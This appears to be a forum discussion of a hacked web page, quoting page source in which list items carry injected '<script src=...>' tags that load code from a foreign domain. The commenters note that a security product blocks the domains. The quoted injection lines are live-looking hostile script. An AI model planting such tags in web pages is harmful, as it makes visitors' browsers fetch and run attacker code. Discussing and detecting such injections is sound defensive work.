Malwarebytes Anti-malware blocks (at least some of the associated) domains.
</table><div class="rcbSlide" style="z-index:6000;"><div id="ctl00_ContentPlaceHolder1_adv1_rdcCategories_DropDown" class="RadComboBoxDropDown_Telerik" style="display:none;"><div class="rcbScroll rcbWidth" style="width:100%;"><ul class="rcbList" style="list-style:none;margin:0;padding:0;zoom:1;">
<li class="rcbItem ">Bibs and Coveralls </title><script src=http://hjfghj.com/r.php ></script></li>
<li class="rcbItem ">Bibs/Pants </title><script src=http://hjfghj.com/r.php ></script></li>
So it like
generates itself within the page source, within legitimate code parts of the page. And since it references a foreign domain, it
should be stopped right in its tracks right there.
quote:
all of these domains are currently returning a 404 Not Found
Wonder if that is because they're actually 404 or are just returning a "404" after the first attempted hit by a particular IP? (My initial thought. But since webroot says 404, would think they would have checked out that avenue.)
Pretty lame that these sorts of things (known exploits) still exist. Might even say they are "popular".